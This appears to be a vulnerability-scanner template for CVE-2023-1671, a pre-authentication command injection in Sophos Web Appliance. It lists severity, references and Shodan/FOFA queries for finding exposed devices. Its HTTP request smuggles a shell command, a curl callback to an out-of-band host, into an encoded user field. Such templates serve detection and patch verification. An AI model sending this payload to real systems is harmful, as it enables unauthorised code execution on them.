Sophos Web Appliance - Remote Code Execution

id: CVE-2023-1671

info:
  name: Sophos Web Appliance - Remote Code Execution
  author: Co5mos
  severity: critical
  description: |
    A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Sophos to mitigate this vulnerability.
  reference:
    - https://vulncheck.com/blog/cve-2023-1671-analysis
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1671
    - http://packetstormsecurity.com/files/172016/Sophos-Web-Appliance-4.3.10.4-Command-Injection.html
    - https://www.sophos.com/en-us/security-advisories/sophos-sa-20230404-swa-rce
    - https://github.com/lions2012/Penetration_Testing_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1671
    cwe-id: CWE-77
    epss-score: 0.96909
    epss-percentile: 0.99711
    cpe: cpe:2.3:a:sophos:web_appliance:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sophos
    product: web_appliance
    shodan-query:
      - title:"Sophos Web Appliance"
      - http.title:"sophos web appliance"
      - http.favicon.hash:-893681401
    fofa-query:
      - title="Sophos Web Appliance"
      - title="sophos web appliance"
      - icon_hash=-893681401
    google-query: intitle:"sophos web appliance"
  tags: cve2023,cve,packetstorm,rce,sophos,oast,kev

http:
  - raw:
      - |
        POST /index.php?c=blocked&action=continue HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        args_reason=filetypewarn&url={{randstr}}&filetype={{randstr}}&user={{randstr}}&user_encoded={{base64("\';curl http://{{interactsh-url}} #")}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"
# digest: 4a0a004730450221008621e6fc19234e974d3b243fc784b9fc10e4fb849bc846258bb7a3f94d3524a80220303b2f3b771c041e111c4eebbb296b758f819b74a66b3b5c1ddf8ccbe777372e:922c64590222798bb761d5b6d8e72950